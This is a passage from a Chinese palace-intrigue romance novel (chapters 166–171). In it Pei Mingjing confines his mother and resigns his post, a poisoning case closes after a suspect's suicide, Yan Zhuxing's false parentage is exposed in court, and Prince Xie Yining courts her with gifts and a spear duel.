“你若对她无意,又怎会对她的事那样关心?”
“你若对她无心,又怎会处处维护她?”
“你若真的身正不怕影子邪,为何上元佳节不愿邀请福安郡主出门赏灯?”
窦淑容厉声质问。
裴明镜被她问得无话可说。
他闭上眼,晏逐星的身影便清晰浮现。
初遇时,她一身素衣跪在公堂之上,身形伶仃,仰起的小脸满是惶然无助,哀声求他做主。
那一刻,他生了恻隐之心。
后来知道她欺骗他、利用他,他头一回被人骗,气得要命,因而打心底里厌恶她,用最大的偏见揣测她。
可奇怪的是,他总忍不住把目光落在她身上,比从前更在意她的一举一动。
再后来,他才看明白,她不是世俗意义上那种规规矩矩的“好姑娘”。
她活得恣意,快意恩仇,笑骂由心,世人的眼光在她身上留不下半分痕迹。
偌大的京城里,他寻不到半分与她相似的姑娘。
这样的她,很好很好。
好得让他挑不出错处,好到他动心了都不自知。
“裴明镜,你说话啊。你敢说你当真没有对她动过半分心意吗?”
窦淑容见他不说话,几欲吐血,质问声愈发大了。
第166章 这辈子不娶
“是,我问心有愧,所以无法回答母亲的问题。”
裴明镜睁开了眼,定定地看着母亲。
窦淑容如遭雷击。
虽然早就猜到了儿子的心意,但真的从他口中得到确定的答案,她反倒慌乱了起来。
裴明镜俯身,视线与母亲平齐,声音沉而笃定:“母亲不必忧心,这辈子我都不会娶她了。”
“为什么?”窦淑容下意识地问出了声。
裴明镜垂眸,再抬眼时眸中那点光亮已然熄灭。
他扯了扯嘴角,像是想笑,但却笑不出来,只余一片苦涩。
他的声音轻得像叹息:
“我的母亲对她做了那样的事情,我避开她都来不及,哪里还有脸面求娶呢。”
窦淑容脸色瞬间变得一会儿青一会儿白。
她颤抖着嘴唇开口:“你是在怨我?”
“不行吗?”裴明镜反问。
窦淑容瘫倒在地。
她意识到,这一次儿子不会再像从前那样原谅她了。
她的内心升起了巨大的恐慌。
“明镜,母亲知道错了,你不要生气,不要怨我好不好?我再也不会做这样的事情了。母亲只是一时糊涂啊。”
她扑过去,扯住了裴明镜的衣袖,眼泪扑簌簌地往下落。
裴明镜沉默一瞬,缓慢却坚定地掰开了她的手指。
他的声音沉静无波,带着不容违逆的决断:
“母亲既已知错,诚心向善,儿子岂能不遂您心意?自今日起,请母亲移居佛堂静室,于菩萨座前诚心祈福。”
他视线沉沉落在一旁的管家身上,声音变得愈发冷肃:
“即日起,母亲要清修不宜见外客,更不宜劳神府中庶务。母亲静修期间,国公府一应用度由二婶安排。母亲面前,只可谈经论佛,侍奉起居,其余闲杂事务一概不得惊扰母亲清修。你可明白?”
“小的明白。”管家意识到了世子爷的坚决,颤颤巍巍点头。
“不,我才是国公府的夫人,凭什么让她管理国公府。”窦淑容尖叫了起来。
裴明镜冷冷地看向她:“母亲,您是想要容妈妈活,还是想要容妈妈死?”
一句话让窦淑容噤了声。
她含泪看着地上的容氏,又恨恨地看了裴明镜一眼。
“我真是生了个好儿子啊!!!”
裴明镜不语,只是命人收拾她的东西将她送去了佛堂。
裴二夫人被叫来,得知今后国公府由她当家,吓了一跳。
“这不妥吧?”她感觉那管家对牌有些烫手,不敢接。
裴明镜淡淡道:“没有什么不妥的。等到我娶了夫人,二婶再将庶务交还她打理便好。”
大房的事情,裴二夫人并不知晓,她小心翼翼地问道:“那大嫂呢?”
“母亲要给父亲和祖父祖母祈福,让他们在天之灵保佑我早日娶妻生子,所以这些事情就只能辛苦二婶了。”裴明镜的语气看不出任何问题。
裴二夫人知晓其中定然有她不知道的隐情,但她识趣地没有继续问下去。
“既是如此,那我便暂时代管了。”
至此,卫国公府重新恢复了平静。
*
很快,大理寺卿就去到定远侯府,从京兆府的官差手上接过了此案。
有了柳姨娘和林姨娘的证词,以及她们手中的毒药,还有他们被胁迫的娘家人,大理寺卿将温家三老爷温如珲捉拿入狱。
汪氏受人收买、给定远侯下药一事铁证如山,大理寺卿当即遣人前往卫国公府拿人。
官差刚到卫国公府大门,就撞见裴明镜负手而立。
两名仆人押着一个被五花大绑、面如死灰的老嬷嬷跟在他身后。
不等大理寺的人询问,裴明镜就先开口:
“此人因记恨定远侯大小姐曾令家母难堪,怀恨在心,勾结汪氏行给定远侯大小姐下药。家母不过是气头上斥责过她几句,她便胆敢借刀杀人,其心可诛。”
“但定远侯身故,确实与国公府无关,毕竟定远侯素来与我们无冤无仇。”
大理寺领头的官员眼皮一跳,脸上堆起尴尬的笑,连忙拱手:
“原来竟是这刁奴作祟!裴大人明察秋毫,卑职佩服。那……这人犯,卑职就先带回去复命了?”
他语气里带着小心翼翼的试探。
空气静了一瞬。
谁都知道这嬷嬷多半是顶罪的羔羊,真正的幕后主使恐怕是卫国公府的主子们。
裴明镜面无表情,微微颔首:“嗯。有劳。”
再无多言,亦无阻拦。
看着官差将人拖走,他转身回了府里。
*
大理寺卿看着人证物证,只觉得一阵头疼。
定远侯之死竟然牵扯了那么多权贵。
温家与定远侯本就有仇,他们对定远侯动手他还能理解。
但卫国公府又是为什么?
还有那四具多出来的男尸,到底是哪家人派出来的?
定远侯到底做了多少孽,那么多人要杀他?
大理寺卿只觉得一个头两个大。
定远侯中毒身亡,不可能不给一个交代。
毕竟他和烈国公府可是姻亲。
难,怎么那么难。
大理寺卿抓了抓官帽之下所剩无几的头发,欲哭无泪。
事情移交到大理寺不过一个时辰的功夫,朝华大长公主就已经知道了定远侯身亡的全过程。
朝华大长公主:“……”
她没想到竟然有那么多人跟她选在了同一天下手。
虽然他们的目标不是晏逐星,而是定远侯。
“这贱人真是命大。”朝华大长公主眯着眼眸,冷冷开口。
驸马怕她冲动行事,赶忙道:“朝华,暂时不能再动她了。留得青山在不愁没柴烧,她迟早要死的。”
朝华大长公主磨了磨后槽牙,最后还是决定听从驸马的建议,再忍上一段时间。
定远侯之死,令朝野上下为之震惊。
但还没寻到真凶,翌日另一桩让他们震惊的事情又发生了。
第167章 又死一个人
裴明镜竟然要辞官!
金銮殿内,裴明镜跪在地上,面色苍白但身姿依旧挺拔如松。
龙椅上的文昭帝听完他的请辞,语气里带着一丝探究与不可置信:“嗯?裴爱卿先前说的是……辞去京兆尹之职?”
“是。皇上。”裴明镜叩首,声音有些发闷。
“为何?”
文昭帝问出了满朝文武的心声。
裴明镜一字一句道:
“京兆尹掌京中治安刑名,首重公正严明,臣自身德行有亏,家门不清,如何还能身居此位。臣问心有愧。立于朝堂之上,便觉芒刺在背,无颜面对皇上的信任。”
“臣今日所言,字字出自肺腑。恳请皇上准臣辞去京兆尹一职。”
他身为京兆尹,为了国公府的名声包庇回护了母亲,没能秉公处置只让一个下人去顶罪。
他已经不配再坐在这个位置上。
在场的都是人精,结合昨日大理寺去卫国公府拿人一事,心底都有了隐约的猜测。
定远侯之死虽然与卫国公府没有直接关联,但肯定也跑不脱关系,不然裴明镜又怎么会辞官。
文昭帝看着裴明镜,心下有些惋惜。
平心而论,裴明镜是个很好用的臣子。
他虽然年纪轻轻,但确实颇有能力和手段,只可惜有个拎不清的母亲。
“爱卿何至于此,一个失察之过,哪里用得着你辞官谢罪。”文昭帝挽留。
“皇上天恩浩荡,臣肝脑涂地难报万一。犯事之人虽只是国公府奴仆,但却受国公府恩养多年,她犯下这般恶行,臣虽未指使,但一切皆因臣治家不严、驭下无方而起。”
“臣有愧。”
“愧对皇上的圣恩,愧对列祖列宗的清誉,愧对身上的官袍。”
说到这,裴明镜缓缓摘下了头上的官帽,又将腰间的金印给解下,他冲龙椅上的文昭帝行了一个五体投地的大礼。
自摘官帽,自解印绶。
在场所有人都明白,他去意已决。
文昭帝在心底叹了一口气,最终点了点头,吐出了两个字。
“准奏。”
*
裴明镜辞官一事也传到了晏逐星耳朵里。
她一愣,随即更确定了让汪氏给她下药的人就是窦淑荣。
如果只是一个下人,裴明镜不会辞官。
唯有是他的亲生母亲犯了错,而他为了国公府的名誉掩盖了这件事。
按照他的性子,他定然悔愧难当、无地自容,所以才会辞去京兆尹一职。
“可惜了,也不知道日后的京兆尹会不会是裴大人这样的好官。”双鲤惋惜地叹了一口气。
京中的百姓得知裴明镜辞官,受过他恩惠的百姓自发往国公府后门送了不少吃食。
有一小筐子鸡蛋,有三五个梨,还有几捆干柴,类似的东西数不胜数。
虽然不值钱,但满满的都是心意。
送来的东西越来越多,国公府的下人婉拒推辞,但百姓们却不听,把东西一扔就跑了。
“当年我爹被构陷杀害邻家孩童,若不是裴大人明察秋毫找出真凶,我爹如今还在狱中呢。这几个梨,自家种的,不值钱,还请大人收下。”
“当初我娘刚入京撞碎了人家的瓷瓶,被讹了十两银子,是裴大人发现那人故意做局坑害的我娘,瓷瓶早就碎了,他是个老惯犯。不知道讹诈了多少初入京城的人。替我娘把银子要了回来。我这点鸡蛋算不得什么。”
……
裴明镜听完下人的汇报,沉默了许久。
“让他们不要再送了,心意我领了。将这些吃食煮了吧,再从我的私账上拨五百两银子去城外搭棚施粥。”
“是。”管家应下。
大理寺卿得知裴明镜辞官,知晓定远侯一事不能再和卫国公府扯上关系了。
那么就只剩温家了。
工部尚书温如璋也不好得罪,如今证据都指向了温家,要不就定温如珲的罪?
大理寺卿盯着温如珲的名字思索了起来。
毒药的出处有了,可那四具男尸却一无所获。
众人便猜测是温家怕下毒一计失败,又找了四个杀人补刀。
但他们为何会死在玉澜院,而不是定远侯的院子。
处处都是疑惑。
国公府那边还一直催他们捉拿真凶,大理寺卿头疼欲裂,他到底该怎么交代,才能平衡几方的关系。
就在他发愁之际,衙役匆匆赶来,面色惊惶:“大人,不好了,温如珲留下血书后自缢了。”
“什么?”大理寺卿惊得从椅子上蹦了起来。
这个节骨眼,再死一个人,那这案件可就没法查了。
他赶忙去了牢里,瞧见了半死不活的温如珲。
他用指尖的血在中衣上写下了陈情书,大理寺卿匆匆扫了一眼,大概的意思就是他们温家和定远侯有仇,所以有人利用这一点勾结定远侯两位姨娘,诬陷了温家。
他愿以死明志,证明温家清白。
大理寺卿揪着牢头的衣领,大怒道:“这两日可有人来见过他?”
“温尚书命管家来过一趟。”牢头欲哭无泪。
温如珲还没定罪,他就还是尚书府的三老爷,尚书府要见人,他们哪敢阻拦啊。
更何况他们也检查过了带来的东西,还亲自盯着管家和温如珲聊天,没发现什么异常啊。
牢头将两人的对话复述了一遍。
“三老爷放心,大老爷不会让人污蔑您的清白,一定会将您救出去的。您坚持住啊。”
“您与姑奶奶感情深厚,她在九泉之下定然也不想您出事。您且宽心,小少爷和小小姐都会有人照顾的。咱们全家都等着您出去呢。”
学完管家的话,他又学着温如珲怒目圆瞪的表情。
“告诉大哥,我知道,我没做过的事情我一定不会认的。日后见到如霜,她一定也会为我这个兄长感到骄傲。”
“昭儿和婉儿,就拜托大哥了。”
大理寺卿听完咬牙切齿。
这就是赤裸裸的威胁和托孤啊!
看到昨夜温如珲就已经存了死志,不打算让此事牵扯到温家。
毕竟谋害一位侯爷可是重罪,他们是绝对不会承认的。
“大人,接下来这案子该怎么查啊……”下属小心翼翼地询问。
第168章 不是亲爹娘
“你问我,我问谁啊!”大理寺卿怒骂。
他感觉他所剩无几的头发这下怕是要全没了。
要是他也有裴明镜那样的家世,他也辞官了。
可他没有。
大理寺卿愤愤地想:下辈子他一定要投个好胎。
案情陷入了焦灼的状态。
大理寺卿查不出来,只得将情况如实呈报给了皇上。
文昭帝没想到短短半年的时间,定远侯这一家子竟然全死了,倒也是凄惨。
不给一个交代也说不过去。
“该怎么查就怎么查,勿要徇私枉法。”
有了皇上这句话,大理寺卿心下稍定。
皇上的意思应该是不会保温家了。
他继续去查,温家的下人却已经反口,都说没有被威胁,是两位姨娘想多了,他们在温家过得很好,说不定是两位姨娘收了别人的银子所以故意污蔑温家。
林姨娘和柳姨娘再一次被传唤。
得知家里人改口,柳姨娘倒是不意外,但林姨娘大受打击,回了侯府后就病倒了。
“这下你知道了吧,你把他们当家里人,他们可没把你当一家人。嫁出去的女儿泼出去的水。在他们眼里,我们早就是侯府的人了。”柳姨娘去探望她时,到底还是没忍住把这些话说了出来。
林姨娘虚弱地点了点头,眼泪顺着眼角滑落:“嗯,没有以后了。”
见她被打击得蔫巴巴的,柳姨娘安慰道:“若不是大小姐,这回咱们就成了替罪羔羊,如今还能活着,已经很好了。”
“这倒也是。”她这么一说,林姨娘感觉好受多了。
起码他们还活着,以后也不用担心性命之忧了。
毕竟大小姐和新来的主母都承诺过了,只要他们安分守己,不要动什么歪心思,会让他们在侯府养一辈子的老。
温家下人虽然翻供,但温家采买毒药的事情却还是被大理寺查得清清楚楚。
况且温家有强烈的杀人动机,大理寺调查了足足半个月,最后这个案子以温如珲畏罪自杀收了尾。
尽管温如璋坚称自己毫不知情,但还是被连累被贬官,成了大虞史上任期时间最短的工部尚书。
他被贬到了漳浦县当一个七品县令。
从京城的工部尚书到偏远山区县令,可谓是从云端跌到了泥潭。
温如璋不能反抗,只能叩谢圣恩。
温家大夫人姜清屏得知此事,恨不得去将温如霜挖出来挫骨扬灰。
为了一个死人,竟然搭上了夫君的前程和小叔子的性命。
温家一行人狼狈离京。
晏逐星在心底默默松了一口气。
定远侯死了,温如珲一死,温家定会把这笔债记到她头上。
如今他们离开了京城,对她来说再好不过了。
朝华大长公主眼看着对定远侯府动手的人都倒了霉,气得咬牙切齿。
怎么谁沾上晏逐星都没好下场。
她忍了那么久,晏逐星竟然还没死,气得她日日在公主府里发脾气,府里的瓷器花瓶不知道打碎了多少件。
驸马看着心疼,于是给她出了个主意。
“暂时不动晏逐星,但不代表不能动她家里人。要不,从她生身父母那边入手,如何?”
朝华大长公主被他一提醒,这才想起了关万海夫妇。
是啊,晏逐星有国公府和永安王护着又如何。
她的亲爹娘不过是一对商贾贱民,她抬手就能捏死。
她也要晏逐星尝尝失去至亲的滋味。
她当即下令让人前往通州,灭掉关家满门。
不曾想,王府管事却匆匆来报:“殿下,驸马,晏家那位姑娘又去京兆府了。她求京兆尹替她寻找亲生父母。”
“什么意思?”朝华大长公主一愣。
晏逐星的亲生爹娘不是卖布匹的商人么?
“定远侯新主母整理遗物时,发现了定远侯留下的密信。原来当初找来的关家夫妇并非晏逐星的生身父母。定远侯骗了晏逐星,也骗了关家人。”
“他想把晏逐星赶出侯府,又怕旁人说他冷血,因而打听到关家夫妇一直在寻找女儿,便将错就错,诱导他们来京城寻亲。”
王府管事一口气把事情全都说了出来。
“如今关家夫妇正在京兆府跟大小姐进行滴血认亲呢,两边的血,根本对不上!”
“而且,裴世子也找到了关家夫妇的亲生女儿下落,他们的女儿当初走丢没多久后,被一个屠夫收养了。如今也已经入京认亲了。”
*
京兆府。
晏逐星与关万海夫妇一同站在公堂之上。
定远侯死后,晏逐星便打算找个合适的时间公开她与关家人并非血脉亲缘关系之事。
在她斟酌着用什么借口的时候,裴明镜让裴芜给她递了口信。
关万海的亲生女儿找到了。
她若需要,他便派人快马加鞭将他们接入京城。
晏逐星觉得这就是一个很好的机会,便拜托了裴明镜接人入京。
她能感觉到裴明镜在躲着她。
他母亲下药害她,虽然没成功,但他依旧有愧于她。
晏逐星想他帮她这一回,这就当是补偿了,以后他们两不相欠。
关万海他们找到亲生女儿,认错她只是一个误会,这件事被发现,还需要一个契机。
她找上了骆文缨,让她发现定远侯留下的“密信”帮忙揭穿此事。
林管家身为定远侯生前的心腹,他也站出来作证定远侯当初就是故意找上的关万海夫妇,为的就是将晏逐星赶出侯府,又不落人口舌。
只是没想到,温如霜的心腹嬷嬷竟然说出了惊天秘密,晏逐星是被温如霜拐带回来的。
人证物证都有了。
与此同时,晏逐星与关万海夫妇也对好了口供。
这才有了今日京兆府认亲的场景。
今日裴明镜没有出现,他只让心腹把关家原本的女儿关星,如今改名叫宁心心的那位小姑娘送了过来。
宁心心站在公堂之上,十分紧张。
她下意识地看向了公堂之外,她的养父母和兄长。
宁家人都鼓励地看着她,让她别害怕。
“你对走丢前的事情,可还有印象?”新任京兆尹梁江御看向了宁心心。
关万海夫妇看到突然冒出来的亲生女儿,没有惊喜更多的是害怕。
他们当初为了求儿子,故意将女儿给扔掉,她不会还记得当初的事情吧?
她会不会怨他们?
他们紧张地盯着宁心心,想知道她会怎么回答。
宁心心摇了摇头:“回大人,我,哦不,民女不太记得了。”
“民女只记得有三个姐姐,对我都很好。”
“然后阿爹经常往外跑,别的就不记得了。”
听到她这么说,关万海夫妇松了一口气,有些羞愧地低下了脑袋,不敢再看他。
梁江御又传了宁心心养父母来问话,核对了一下当年宁心心走丢的事情,发现和关万海夫妇说的一致。
再看看与关万海夫妇有七分相像的宁心心,以及前任京兆尹裴明镜提供的证据。
他可以确定了,关万海夫妇与晏逐星毫无关系,宁心心才是他们的亲生女儿。
梁江御心知肚明,定远侯故意诱导晏逐星和关万海夫妇相认绝对不像他们说的那么简单,只是为了把晏逐星赶出家门。
但他不想深究,定远侯已死,温家又已经失势,此事刨根问底只会徒增他的烦忧。
到此为止就好。
于是他重重一拍惊堂木,当场宣布了结果:
“肃静!本府经详查案卷、当堂质证,并依仵作滴血验亲之法为凭,现已查明:
晏逐星与关万海夫妇,血脉不契,非属至亲。宁心心方为关万海夫妇离散多年之骨血至亲。
此案因过往阴差阳错而起,现今真相大白,血缘已明。着户房依此判结果,更注户籍,以正名分。
退堂!”
围观的百姓们听完判决,心满意足地离开了。
有这位晏姑娘在,京城的热闹就少不了。
谁能想到她的身世竟然这么一波三折呢。
先是被侯夫人拐带,又被侯爷欺骗错认亲生父母,如今真正的爹娘还不知道身在何方。
惨~~~呐~~~
第169章 说到做到了
听到京兆尹这般判决,宁心心顿时急了。
她赶忙拦住了送她来的子平。
“裴大人不是说不会改我的户籍么,我继续在青州跟阿爹阿娘生活,继续当宁家的女儿。”
听到她这么说,关万海夫妇皱起了眉头。
他们虽然丢了女儿,但听到女儿不认他们,还是有些不是滋味。
宁家夫妇看到他们这表情,扯了女儿一下。
宁大勇沉声道:“心心,别说傻话,他们也是你爹娘。”
周氏也跟着点头:“就是,你就算换了户口,也是咱家的孩子,我和你爹永远把你当亲女儿。”
而后又看向关万海夫妇,露出笑脸。
“这孩子只是一时间接受不了罢了,您二位莫要误会了。”
他们家在镇上当屠户,虽然能让孩子吃饱穿暖,但也只是勉强糊口罢了。
听闻关家做了许多年生意,家境殷实,心心若跟着他们回去,日后便是锦衣玉食的千金小姐,再不也用干那些割猪草喂猪洗衣裳的活。
纵然有千般万般舍不得,但他们也不愿让孩子留下跟他们吃苦受穷。
宁心心的三哥宁家好欲言又止,他舍不得妹妹。
但关家的条件确实比他们好得多,他不能阻拦妹妹过更好的生活。
“我不,我不要回去,我就要跟爹娘在一起。”宁心心当场就哭了。
虽然宁家不是很富有,但他们全都真心实意地疼爱她。
当初她被捡回去的时候,只记得自己叫星儿,但也不知道哪个星。
养父母就干脆给她取名叫心心。
告诉她,她是他们心心念念得来的女儿,他们会疼爱她一辈子。
他们真的说到做到了。
即便她不是宁家亲生的,但养父养母和三位兄长都对她很好,几乎不让她干家中的那些粗活。
都是她主动要去帮忙的。
她没办法看着爹娘哥哥们受苦,而她自己一个人享福。
关万海夫妇顿时很尴尬,不知道该说什么,下意识地就看向了晏逐星。
“大小姐,您看这……”关万海搓着手,等她拿个主意。
晏逐星笑着看向了宁心心:“你放心,既然裴大人答应你不用改户籍,那你就不需要去改。”
“小姐此言当真?”宁心心止住眼泪,半信半疑看向了她。
“嗯,裴大人向来说话算话,你放心吧。”晏逐星出言安慰。
“反正回青州也要路过通州,你不是说你的三个姐姐对你很好么,你难道不想回去看看她们?”
听到这话,宁心心这才松动了。
她看向陌生的关万海夫妇,小声道:“我可以不回去,但是见姐姐们吗?”
“可以,怎么不可以!”关万海连忙答应。
晏逐星提醒:“宁家替你们养了那么多年女儿,没有功劳也有苦劳,你们做亲爹娘的……”
关万海赶忙从兜里掏出五十两银票塞到宁大勇手里:“宁兄弟,这些年辛苦你们了。”
宁家人一看这么多钱,连忙摇头。
他们收养宁心心,可不是为了钱。
“不不不,使不得……”宁大勇和周氏急忙推拒。
“使得使得,你们快收下吧。就当是我们给孩子的陪嫁了。”关万海用力将银票塞到了他手里,不肯再要回来。
“行吧。”听到他这么说,宁大勇夫妇总算改了主意,收下了银票。
关万海和宁大勇约好明日一块回通州,而后便跟着晏逐星去了晏宅。
“大小姐,您要找的人找到了。”关万海面露喜色。
“哦?那你们说服陈三妹了吗?”晏逐星询问。
“自然说服了。您说的那个流光缎,我们也已经在实验了。”关万海老老实实把情况汇报了出来。
“多久可以染出第一匹完好的布?”晏逐星又问。
关万海估摸了个数,谨慎开口:“最快也得半个月吧。”
晏逐星在心底数了一下日子,发现上巳节是来不及了,染出来之后还得从岭南运回来,然后请京城名家做衣裳,她得另找一个合适的时机将流光缎推出来。
“好。做好之后,第一时间送到我这来,此事能不能成,就看你们够不够快了。”晏逐星低声吩咐。
“大小姐放心,小人一定不会辜负您的期盼!”关万海当即举手发誓。
虽然晏逐星已经不是侯府大小姐,但关万海还是习惯性地这么称呼她。
送走了关万海,晏逐星坐在屋内望着窗外的院墙发呆。
宁心心找到了亲生父母,那她呢,她什么时候才能找到自己的爹娘兄长?
她为什么就是什么都记不起来呢。
晏逐星心中腾起一股躁意,她起身去了器室,她要练枪了。
烦躁的时候练武,能让她的心静下来。
刚把长枪拿出来,就看到了院子里多了一个人。
“王爷,您怎么来了?”晏逐星已经习惯了他的忽然出现。
整个晏宅他来去自如。
双鲤私底下偷偷说王爷来他们这简直像回家。
不过好在他还是有分寸的,她的寝屋是一次也没有踏足。
“一个好消息和一个坏消息,你想先听哪一个?”谢翊宁卖了个关子。
第170章 王爷好消息
“坏消息。”晏逐星答得干脆,几乎不带犹豫。
她的人生里好消息向来不多,不如先听听坏消息是什么再做打算。
“坏消息是,”谢翊宁顿了顿,语气里压着一丝烦躁,“还没找到你爹娘。”
他说完像是泄愤般,狠狠踢开了脚边一颗碍事的石子。
裴明镜连关万海失散多年的亲生女儿都寻着了,而他托父皇去查秦王妃的下落,竟至今杳无音信,更别提从秦王妃那里要到晏逐星亲生父母的消息了。
他看得出来,晏逐星今日看向宁心心时眼里带着羡慕。
她一定很想念她的家里人。
听到这话,晏逐星松了一口气,随后笑了起来。
“这算什么坏消息。说不定现在没有消息就是好消息。”
而后她有些好奇地追问:“那好消息呢?是什么呀?”
“好消息是母后让我给你带两匹浮光锦,晚些时候我让人送过来。国公府的认亲宴,你可以做新裙子了。”说到这,谢翊宁眉梢染上了一抹得意。
“今年送来的浮光锦一共十匹,父皇给太后那边送了两匹,王贵妃、柳贤妃和杨淑妃各一匹,剩下的都给了母后。母后给太子妃嫂嫂送了三匹,剩下的两匹让我都给你送过来。”
晏逐星一怔。
好端端的,皇后娘娘给她送这么贵重的浮光锦做什么?
难不成皇后娘娘有意撮合她和永安王?
可她如今身世不明不白,皇室怎么可能让她这样的人当王妃。
唇边掠过一丝自嘲的笑,晏逐星心底那点悄然泛起的涟漪瞬间烟消云散。
见她愣愣地站在原地,谢翊宁还以为她觉得不公平,赶忙解释:“太子妃嫂嫂那边还有令嘉呢,令嘉如今也长大了,正是爱美的年纪,上巳节也该做新裙子了。所以母后给了三匹。”
“你这边就你一个人,这才只给了两匹。”
晏逐星顿时哭笑不得,她什么身份还敢计较这些。
太子妃是皇后的儿媳妇,这浮光锦是皇后的,她就算全给了太子妃也很正常。
她的浮光锦由她做主。
“多谢皇后娘娘赏。但浮光锦太贵重了,我不能收。”晏逐星摇了摇头,出言拒绝。
“浮光锦贵重?能有我的命贵重么。你是我的救命恩人,母后想方设法地感谢你还来不及呢。区区浮光锦算什么。”谢翊宁理直气壮。
晏逐星:“……”
好有道理,她竟无言以对。
浮光锦哪里比得上谢翊宁贵重。
皇后若因为她改了谢翊宁短命的命格而赏她浮光锦,倒也合情合理。
想到这,晏逐星耳根子微微有些发烫。
她刚刚在胡思乱想什么呀,竟然觉得皇后娘娘想要撮合她跟永安王。
“你就收下吧,以后给你的好东西还多着呢。”谢翊宁潇洒地替她做了主,“你可是本王的救命恩人,这样的事往后只会更多。你得习惯。”
他可没忘了之前的打算:必须让他的小恩人多见些好东西。
这样将来那些臭小子想拿些不值钱的玩意儿糊弄她,可就骗不走了。
一想到可能有人求娶晏逐星的场景,谢翊宁心里便是一阵不痛快。具体哪里不痛快,他也说不上来。
他把这归结为这满京城里没他看得上的男人。
他都看不上,哪里配得上小恩人。
若真有人敢来求娶,他定要好好替小恩人把把关。
话都说到这份上了,晏逐星自然不好再拒绝,只得应下。
她眨巴着眼睛看着谢翊宁,晃了晃手中的长枪,提醒道:“王爷还有事么?”
没重要的事情别耽误她练功了。
谢翊宁的目光顿时落在了晏逐星手中的长枪上,脑海里闪过了好几把枪。
外祖父私藏的那杆流火枪就不错,正衬她。
明日他就去趟外祖父那儿,把晏逐星手里这把普通的给换了。
但直接给,晏逐星这性子肯定不会要。
他得想个法子才行。
不过眨眼的功夫,谢翊宁就想好了。
他笑眯眯道:“你要练长枪,正好,本王对此也略懂一二,我陪你过过招!”
晏逐星也想试试自己如今的身手,欣然答应。
器室里每种武器她都备了两份,方便练习,今日正好能让谢翊宁用上。
两人各自取了长枪,步入庭院。
晏逐星眼中战意灼灼,她拱手道:“王爷,得罪了。”
“来。”谢翊宁含笑应战。
晏逐星枪尖一抖,挽了个漂亮的枪花便如疾风骤雨般攻来。
她身姿矫健,枪法灵动迅捷,显然下了苦功。
谢翊宁却显得从容不迫。
他唇角噙着惯有的笑意,抬起手中长枪随意格挡。
但下一刻,他就笑不出来了。
晏逐星的力气好大!
一枪打下来他虎口都震得发麻。
他不敢轻敌,打起了精神与晏逐星对战。
两人你来我往,晏逐星打得十分痛快。
就在晏逐星下一枪直刺谢翊宁中门时,他的手腕骤然发力。
他以一个极其刁钻的角度斜向上猛地一磕,精准无比地击打在晏逐星枪杆的受力薄弱处。
“喀嚓!”
一声脆响格外刺耳。
晏逐星只觉得一股巨力顺着枪身传来,虎口发麻,手中长枪竟应声而断。
晏逐星握着剩下的半截枪杆,低头看着掉落在地的枪头,愣了愣神,随后笑了起来:“王爷好枪法。”
谢翊宁早已收势,长枪稳稳拄地。
嘶,痛痛痛。
小恩人的力气怎么那么大。
还好他跟外祖父偷学了几招,不然今天就要丢脸了。
眼角余光瞥见晏逐星看向他,他当即把手背到了身后回应道:“过奖了,你也很不错。”
他盯着晏逐星手里断掉的长枪,声音带着一丝得逞的雀跃:“啧,看来这枪配不上你的身手。明日本王给你寻把真正趁手的来。”
晏逐星下意识地想要拒绝。
谢翊宁又道:“本王打断了你的枪,赔你一柄新的,理所应当。”
听出他口中的不容置疑,晏逐星再一次拒绝失败了。
她只得无奈道:“多谢王爷。”
*
皇宫里。
崔皇后正与文昭帝闲谈此事。
“皇上,您说送去的这两匹浮光锦,能给咱们换回一个儿媳妇么?”
第171章 白捡一女儿
文昭帝笑了起来:“你若让旁人去,暗示那姑娘几分,或许能成。可你让小石头去,怕是不行了。那小子压根没开窍。”
崔皇后顿时发愁:“臣妾这不是想着让他去送,好培养培养感情么。”
小石头出生后被国师预言活不过二十,她便一直盼着他成家,好歹留个后。
但他却偏偏不想连累任何人,一直不松口。
这孩子太有主见,她不敢擅作主张给他相看,但心里早就急得不行。
如今好不容易有一个姑娘能入他的眼,她自是盼着两人早日成就好事。
而且这位姑娘很可能就是国师预言的那位破解了小石头“死劫”之人,她就更坚定了让她当儿媳妇的念头。
“儿孙自有儿孙福。小石头不急,咱们也别拔苗助长,感情这种事情,还是得顺其自然。”文昭帝劝慰。
“皇上说的是。”崔皇后点了点头,而后故意开口试探,“不过,如今晏大姑娘身份不明,倒也不好明着下旨赐婚,否则哪里还有那么多事情。”
什么身份不身份的,她并不在乎。
小石头是皇上的嫡子,天底下还有几个人能尊贵得过他。
他压根不需要靠娶那些世家豪门的贵女来巩固地位。
身为母亲,她只希望他能健健康康,顺心如意地过完这辈子。
只是,皇上和朝中大臣未必会这么想。
听到她这话,文昭帝板起了脸。
“崔凝华。”
听到皇上叫她的全名,崔皇后不由有些心慌。
她嗔怪地看了文昭帝一眼:“皇上这般唤臣妾,是要吓死臣妾不成?”
“朕是不是和你说过,你想说什么就直接说,别和后宫其他人一样整那些弯弯绕绕的。”文昭帝脸绷得紧紧的,看着似乎有些生气。
“全后宫,朕只信你一人。你难道不能像朕信你一样相信朕么?”
崔皇后听到这话紧紧握住了他的手,眼中浮起一抹忧虑之色,叹了一口气道:
“臣妾只是有些担心。若日后小石头开窍了要聘晏家大姑娘为妃,门楣悬殊,恐怕会惹来朝臣非议。”
“您若给他二人赐婚,只怕届时言官们群起上书,直言您不顾礼法,偏袒私情。臣妾实在不忍看您为了儿女之事被千夫所指,徒增烦扰啊。”
听到皇后是担心他,文昭帝绷紧的脸总算露出了一点笑意。
“多大的事。”他回握住崔皇后的手。
“不就是身份地位么,朕给了就是。朝中那么多身份贵重的大臣,朕就不信找不到一个愿意给她当亲爹或亲兄长的。”
“实在不行,把她送去崔家。让凝辉说她是他们流落在外的嫡亲女儿,届时她成了崔家的女儿,与小石头是表兄妹,亲上加亲,朝臣还有什么好反对的。”
听到这话,崔皇后噗嗤笑出了声。
崔凝辉是她一母同胞的亲弟弟。
若晏逐星成了弟弟的女儿,身份上倒是挑不出毛病来了。
她笑着调侃道:“凝辉人在家中坐,忽然女儿就从天上来了。皇上也不怕他夫妇二人来跟您闹。”
文昭帝也笑了:“白捡那么大一个聪慧女儿,凝辉夫妇倒是该谢谢朕才是。”
“有皇上这话,臣妾就放心了。”崔皇后顺势依偎到了他怀里。
文昭帝轻轻拍了拍她的肩,柔声道:“朕吃过的苦,自然不会让我们的孩子再吃一遍。他想娶谁就娶谁,朕自会为他摆平一切。”
*
谢翊宁答应了要给晏逐星送一柄新的枪,第二日就起了个大早,备了一马车的东西去了忠国公府。
“永安王来了!”
崔家下人瞧见谢翊宁的车驾,赶忙跑进去通知主子。
得知谢翊宁来了,整个忠国公府的人都来迎接他了。
